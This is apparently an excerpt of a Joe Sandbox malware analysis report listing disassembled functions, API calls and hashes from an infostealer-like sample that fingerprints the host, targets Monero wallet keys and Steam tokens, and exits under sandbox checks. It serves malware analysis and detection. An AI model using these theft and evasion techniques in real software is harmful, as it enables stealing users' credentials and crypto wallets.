Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: ab5520c0e5d3a3f82484fe454047f831ab8b42039a9b62e8a4cea37c441f2fee
Instruction ID: b8a743c1fdba3add835663de50c3ae35e4f849f34655237d9b9a8389a49b89b8
Opcode Fuzzy Hash: ab5520c0e5d3a3f82484fe454047f831ab8b42039a9b62e8a4cea37c441f2fee
Instruction Fuzzy Hash: 460181F1A04208EBC715CF99DD45BAEBBBCFB09B21F100619FA05E7680D7746904CBA1

Function 6C5A3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5A3095

Part of subcall function 6C5A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
Part of subcall function 6C5A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
Part of subcall function 6C5A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
Part of subcall function 6C5A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
Part of subcall function 6C5A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
Part of subcall function 6C5A35A0: __aulldiv.LIBCMT ref: 6C5A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A309F

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5A30BE

Part of subcall function 6C5A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5A3127
Part of subcall function 6C5A30F0: __aulldiv.LIBCMT ref: 6C5A3140

Part of subcall function 6C5DAB2A: __onexit.LIBCMT ref: 6C5DAB30

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction ID: 28c5886c79c98ed68545528f8921f23ad7d5b28c6b54648bcd6eb66a00b02b5d
Opcode Fuzzy Hash: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction Fuzzy Hash: 2DF0F932E20754D6CB10DF7A8CC1AEAB370EFAB118F511719E84563511FB2465D8838B

Function 00138F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00138F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00138F45
CloseHandle.KERNEL32(00000000), ref: 00138F4F

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 00968fc59d58a39d4120cce98201b8e35a70c92e0a60f99dd6014b2450b0bd73
Instruction ID: f9bf3095c705790af9fb5a8d40b32b6e31846a32d792dbf1a4ed01256decd052
Opcode Fuzzy Hash: 00968fc59d58a39d4120cce98201b8e35a70c92e0a60f99dd6014b2450b0bd73
Instruction Fuzzy Hash: D2F0F47590020CFBDB15DFA4DD4AFED7778AB08700F104594BB195B190DBB0AE85CB90

Function 00121110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0012112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00121132
ExitProcess.KERNEL32 ref: 00121143

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: cf32bbb3495047d4473406542a31b097a2e3efe5397ee600b843bf1bbbeb79c8
Instruction ID: 48d22785180ff2f60aa2caeaef53a93f01b0ddeae93e94e0b218fa529fe94af9
Opcode Fuzzy Hash: cf32bbb3495047d4473406542a31b097a2e3efe5397ee600b843bf1bbbeb79c8
Instruction Fuzzy Hash: 40E08674985308FBE7109BA0AC0AF08766C9B05B02F104145F709BB1C0CBB435108A58

Function 00131520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A380: lstrlen.KERNEL32(?,011F8F70,?,\Monero\wallet.keys,00140DFF), ref: 0013A395
Part of subcall function 0013A380: lstrcpy.KERNEL32(00000000), ref: 0013A3D4
Part of subcall function 0013A380: lstrcat.KERNEL32(00000000,00000000), ref: 0013A3E2

Part of subcall function 0013A270: lstrcpy.KERNEL32(?,00140DFF), ref: 0013A2D5

Part of subcall function 00136FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00136FE2
Part of subcall function 00136FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0013701F
Part of subcall function 00136FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001370A3
Part of subcall function 00136FA0: RtlAllocateHeap.NTDLL(00000000), ref: 001370AA

Part of subcall function 0013A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0013A342
Part of subcall function 0013A2F0: lstrcat.KERNEL32(00000000), ref: 0013A352

Part of subcall function 00137130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00137144
Part of subcall function 00137130: RtlAllocateHeap.NTDLL(00000000), ref: 0013714B

Part of subcall function 00137260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0013D5B0,000000FF,?,001317A9,00000000,?,011FD930,00000000,?), ref: 00137292
Part of subcall function 00137260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0013D5B0,000000FF,?,001317A9,00000000,?,011FD930,00000000,?), ref: 00137299

Part of subcall function 001372F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001211B7), ref: 00137320
Part of subcall function 001372F0: RtlAllocateHeap.NTDLL(00000000), ref: 00137327
Part of subcall function 001372F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0013733F

Part of subcall function 00137380: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001373B0
Part of subcall function 00137380: RtlAllocateHeap.NTDLL(00000000), ref: 001373B7
Part of subcall function 00137380: GetComputerNameA.KERNEL32(?,00000104), ref: 001373CF

Part of subcall function 00137420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00140DD0,00000000,?), ref: 00137450
Part of subcall function 00137420: RtlAllocateHeap.NTDLL(00000000), ref: 00137457
Part of subcall function 00137420: GetLocalTime.KERNEL32(?,?,?,?,?,00140DD0,00000000,?), ref: 00137464
Part of subcall function 00137420: wsprintfA.USER32 ref: 00137493

Part of subcall function 001374D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,011FDE98,00000000,?,00140DE0,00000000,?,00000000,00000000), ref: 00137503
Part of subcall function 001374D0: RtlAllocateHeap.NTDLL(00000000), ref: 0013750A
Part of subcall function 001374D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,011FDE98,00000000,?,00140DE0,00000000,?,00000000,00000000,?), ref: 0013751D

Part of subcall function 001375A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,011FDE98,00000000,?,00140DE0,00000000,?,00000000,00000000), ref: 001375D5

Part of subcall function 00137630: GetKeyboardLayoutList.USER32(00000000,00000000,0014059F), ref: 00137681
Part of subcall function 00137630: LocalAlloc.KERNEL32(00000040,?), ref: 00137699
Part of subcall function 00137630: GetKeyboardLayoutList.USER32(?,00000000), ref: 001376AD
Part of subcall function 00137630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00137702
Part of subcall function 00137630: LocalFree.KERNEL32(00000000), ref: 001377C2

Part of subcall function 00137820: GetSystemPowerStatus.KERNEL32(?), ref: 0013784D

GetCurrentProcessId.KERNEL32(00000000,?,011FD910,00000000,?,00140DF4,00000000,?,00000000,00000000,?,011FDEB0,00000000,?,00140DF0,00000000), ref: 00131B8E

Part of subcall function 00138F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00138F24
Part of subcall function 00138F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00138F45
Part of subcall function 00138F10: CloseHandle.KERNEL32(00000000), ref: 00138F4F

Part of subcall function 001378A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001378D7
Part of subcall function 001378A0: RtlAllocateHeap.NTDLL(00000000), ref: 001378DE
Part of subcall function 001378A0: RegOpenKeyExA.KERNEL32(80000002,011EC180,00000000,00020119,?), ref: 001378FE
Part of subcall function 001378A0: RegQueryValueExA.KERNEL32(?,011FD8D0,00000000,00000000,000000FF,000000FF), ref: 0013791F
Part of subcall function 001378A0: RegCloseKey.ADVAPI32(?), ref: 00137932

Part of subcall function 00137A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00137A69
Part of subcall function 00137A00: GetLastError.KERNEL32 ref: 00137A78

Part of subcall function 00137970: GetSystemInfo.KERNEL32(00140DFC), ref: 001379A0
Part of subcall function 00137970: wsprintfA.USER32 ref: 001379B6

Part of subcall function 00137BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,011FDEC8,00000000,?,00140DFC,00000000,?,00000000), ref: 00137BD0
Part of subcall function 00137BA0: RtlAllocateHeap.NTDLL(00000000), ref: 00137BD7
Part of subcall function 00137BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00137BF8
Part of subcall function 00137BA0: __aulldiv.LIBCMT ref: 00137C12
Part of subcall function 00137BA0: __aulldiv.LIBCMT ref: 00137C20
Part of subcall function 00137BA0: wsprintfA.USER32 ref: 00137C4C

Part of subcall function 00138260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00140DF8,00000000,?), ref: 001382CF
Part of subcall function 00138260: RtlAllocateHeap.NTDLL(00000000), ref: 001382D6
Part of subcall function 00138260: wsprintfA.USER32 ref: 001382F0

Part of subcall function 00137DC0: RegOpenKeyExA.KERNEL32(00000000,011FB598,00000000,00020019,00000000,001405A6), ref: 00137E44

Part of subcall function 00137DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00137EC6
Part of subcall function 00137DC0: wsprintfA.USER32 ref: 00137EF9
Part of subcall function 00137DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00137F1B
Part of subcall function 00137DC0: RegCloseKey.ADVAPI32(00000000), ref: 00137F2C
Part of subcall function 00137DC0: RegCloseKey.ADVAPI32(00000000), ref: 00137F39

Part of subcall function 00138120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0013816A
Part of subcall function 00138120: Process32First.KERNEL32(?,00000128), ref: 0013817E
Part of subcall function 00138120: Process32Next.KERNEL32(?,00000128), ref: 00138193
Part of subcall function 00138120: FindCloseChangeNotification.KERNEL32(?), ref: 00138201

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0013216B

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleLastLogicalMemoryModuleNextNotificationPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 1011861169-0
Opcode ID: 002ddf8705dda6cd68a96133c5dc7a320aec2c49ac45914e6ab8aa9fcda2309f
Instruction ID: 0ddd0094e5126e8a43dc10d1e2004d1e0e0bed7a1c16efdfd0aafde97c1d3d3e
Opcode Fuzzy Hash: 002ddf8705dda6cd68a96133c5dc7a320aec2c49ac45914e6ab8aa9fcda2309f
Instruction Fuzzy Hash: 15725D72C14118AACB19FB90DC92DEE773CAF35300F904299B59762092EF717B4CDAA5

Function 00126D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52b2f21666c2902d68f373a34ca588b6c6df9ac7625ff674b408b0e0a375d68d
Instruction ID: ee01c4b4b51f1314e1074215d652256ec88d48823a1dd2098e1948b7a170c085
Opcode Fuzzy Hash: 52b2f21666c2902d68f373a34ca588b6c6df9ac7625ff674b408b0e0a375d68d
Instruction Fuzzy Hash: 3A61F7B5D00229DFCF18DF94EA94BEEB7B0BB48304F108598E415A7280D775AEA4DF91

Function 00134BE0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A110: lstrcpy.KERNEL32(00140DFF,00000000), ref: 0013A158

Part of subcall function 0013A1F0: lstrlen.KERNEL32(00124F55,?,?,00124F55,00140DC6), ref: 0013A1FB
Part of subcall function 0013A1F0: lstrcpy.KERNEL32(00140DC6,00000000), ref: 0013A255

lstrlen.KERNEL32(00000000,00000000,00140AB3), ref: 00134C0A

Strings

steam_tokens.txt, xrefs: 00134C1F

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000220000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000360000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000004EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893764074.0000000000603000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894007481.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894103347.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1894116470.00000000007A2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 1a98de75165bf0df0a1cfb7830cd1118a76d976b65168ac1c145e10958909398
Instruction ID: 91e3f40af7c94bdbc448556937cb8085fdb5679a3bc1d9e8ebf6d02aea85cabb
Opcode Fuzzy Hash: 1a98de75165bf0df0a1cfb7830cd1118a76d976b65168ac1c145e10958909398
Instruction Fuzzy Hash: 80F0C971D101087ACB04FBF1EC679ED773CAF75300F908668F85662092EF65661887A3

Function 00121160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0012116A
ExitProcess.KERNEL32 ref: 0012117E

Memory Dump Source

Source File: 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1893477094.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000018A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.00000000001F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1893492531.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
